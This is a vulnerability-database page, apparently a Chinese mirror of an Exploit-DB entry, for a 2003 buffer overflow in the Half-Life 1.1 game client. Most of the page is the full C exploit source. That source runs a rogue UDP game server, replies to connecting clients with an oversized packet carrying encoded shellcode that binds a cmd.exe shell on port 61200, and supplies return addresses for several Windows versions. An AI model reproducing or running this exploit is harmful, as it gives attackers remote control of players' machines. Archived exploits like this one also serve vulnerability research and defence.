Valve Software Half-Life 1.1 Client – Connection Routine Buffer Overflow (1)

Valve Software Half-Life 1.1 Client – Connection Routine Buffer Overflow (1)

漏洞ID 1054067 漏洞类型
发布时间 2003-07-29 更新时间 2003-07-29
图片[1]-Valve Software Half-Life 1.1 Client – Connection Routine Buffer Overflow (1)-安全小百科CVE编号 N/A
图片[2]-Valve Software Half-Life 1.1 Client – Connection Routine Buffer Overflow (1)-安全小百科CNNVD-ID N/A
漏洞平台 Windows CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22966
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
// source: http://www.securityfocus.com/bid/8299/info

// Half-Life Client has been reported prone to a remotely exploitable buffer overflow condition.

// The issue presents itself in the client connection routine, used by the client to negotiate a connection to the Half-Life game server. Due to a lack of sufficient bounds checking performed on both the parameter and value of data transmitted from the game server to the client, a malicious server may execute arbitrary code on an affected client.

/*
 *            m00 Security presents
 *  HalfLife client <=v.1.1.1.0 remote exploit
 *
 *  binds cmd.exe shell on port 61200
 *
 *  Avaiable targets:
 *   1. win2k sp3 en
 *   2. winxp nosp ru
 *   3. winxp sp1 ru
 *   4. win98 se2 (u need change shellcode)
 *
 *  Bug discovered by
 *    Auriemma Luigi [www.pivx.com/luigi]
 *
 *  Authors:
 *    d4rkgr3y [grey_1999_at_mail.ru]
 *    Over_G [overg_at_mail.ru]
 *
 *  U can find us at:
 *    irc.wom.ru@m00
 *    irc.dal.net@m00security
 *
 * PS: m00security.org will be avaiable soon ;)
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>

#define PORT 27015

char ping[0x12]=
	"xffxffxffxffx6ax00x20x20x20"
	"x20x20x20x20x20x20x20x20x20";

unsigned char evilbuf[] =
	/* header of HalfLife udp-datagram | do not edit */
	"xFFxFFxFFxFFx69x6Ex66x6Fx73x74x72x69"
	"x6Ex67x72x65x73x70x6Fx6Ex73x65x00x5c"
	/* 512 bytes for bof */
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAA"
	"x5ax5ax5ax5a" // EIP
	"x90x90x90x90" // payload for esp
	/* winxp/2k xored portbind shellcode */
	/* If u want to use this xsploit against win9x/ME, change shellcode to another one */
	"x8BxC4x83xC0x15x33xC9x66xB9xD1x01x80x30x96x40xE2xFA" // decrypt
	"x15x7AxA2x1Dx62x7ExD1x97x96x96x1Fx90x69xA0xFEx18xD8x98x7Ax7ExF7"
	"x97x96x96x1FxD0x9Ex69xA0xFEx3Bx4Fx93x58x7ExC4x97x96x96x1FxD0"
	"x9AxFExFAxFAx96x96xFExA5xA4xB8xF2xFExE1xE5xA4xC9xC2x69xC0x9E"
	"x1FxD0x92x69xA0xFExE4x68x25x80x7ExBBx97x96x96x1FxD0x86x69xA0"
	"xFExE8x4Ex74xE5x7Ex88x97x96x96x1FxD0x82x69xE0x92xFEx5Dx7Bx6A"
	"x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bx1Dx92x1Dx95x53x7Dx94xA5x56x1Dx43xC9xC8xCB"
	"xCDx54x92x96"
	/* end */
	"x5Cx00"; // end of udp-HL-datagram. Do not change!

char retw2ksp3[] = "xc5xafxe2x77";
char retwxpsp0[] = "x1cx80xf5x77"; // ntdll.dll :: jmp esp
char retwxpsp1[] = "xbax26xe6x77";
char retw98se2[] = "xa9xbfxdax7f";

int main(int argc, char **argv) {
	int sock, sf, len, i;
	u_short port=PORT;
	struct sockaddr_in fukin_addr, rt;
	char buf[0x1000];
	printf("nrHalfLife client v.1.1.1.0 remote exploit by m00 Securityn");
	if(argc!=2) {
		printf("
Usage: %s <remote_os>

where os:
1 - win2k sp3 ru
2 - winxp nosp ru
3 - winxp sp1 ru
4 - win98 se2 ru (need another shellcode)

",argv[0]);
		exit(0);
	}
	if(atoi(argv[1])==1) {
		for(i=0;i<4;i++) {
			evilbuf[536+i]=retw2ksp3[i];
		}
	}
	if(atoi(argv[1])==2) {
		for(i=0;i<4;i++) {
			evilbuf[536+i]=retwxpsp0[i];
		}
	}
	if(atoi(argv[1])==3) {
		for(i=0;i<4;i++) {
			evilbuf[536+i]=retwxpsp1[i];
		}
	}
	if(atoi(argv[1])==4) {
		for(i=0;i<4;i++) {
			evilbuf[536+i]=retw98se2[i];
		}
	}

	if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
		perror("[-] socket()");
		exit(0);
	}
	printf("n[+] Socket created.n");
	fukin_addr.sin_addr.s_addr = INADDR_ANY;
	fukin_addr.sin_port        = htons(port);
	fukin_addr.sin_family      = AF_INET;

	if(bind(sock, (struct sockaddr *)&fukin_addr, sizeof(fukin_addr))<0) {
		perror("[-] bind()");
		exit(0);
	}
	printf("[+] Port %i binded.n", port);
	sf = sizeof(rt);
	while(1) {
		if ((len = recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr *)&rt, &sf))<0) {
			perror("[-] recv()");
			exit(1);
		}
		printf("[+] Incoming udp datagram: ");
 		for (i=0;i<=len;i++){
			printf("%c",buf[i]);
		}
		printf("n[~] Identyfication... ");
		if(strstr(buf,"ping")) {
			printf("PING requestn[~] Sending answer... ");
			if(sendto(sock, ping, sizeof(ping), 0, (struct sockaddr *)&rt, sizeof(rt))<0) {
				perror("[-] send()");
				exit(1);
			} else {
				printf("OKn");
			}
			continue;
		}
		if(strstr(buf,"infostring")) {
			printf("INFOSTRING requestn[~] Attacking... OKn");
			printf("[+] Now try to connect to: %s:61200n", inet_ntoa(rt.sin_addr));
			if(sendto(sock, evilbuf, sizeof(evilbuf), 0, (struct sockaddr *)&rt, sizeof(rt))<0) {
				perror("[-] send()");
				exit(1);
			}
			continue;
		}
		printf("unknow requestn");
	}
	close(sock);
	return 0;
}
// mOOOOOOOOOOOOOoooooooooooooooooooooo

相关推荐: ttForum SQL注入漏洞

ttForum SQL注入漏洞 漏洞ID 1202784 漏洞类型 SQL注入 发布时间 2003-06-09 更新时间 2003-06-09 CVE编号 CVE-2003-0331 CNNVD-ID CNNVD-200306-042 漏洞平台 N/A CVS…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享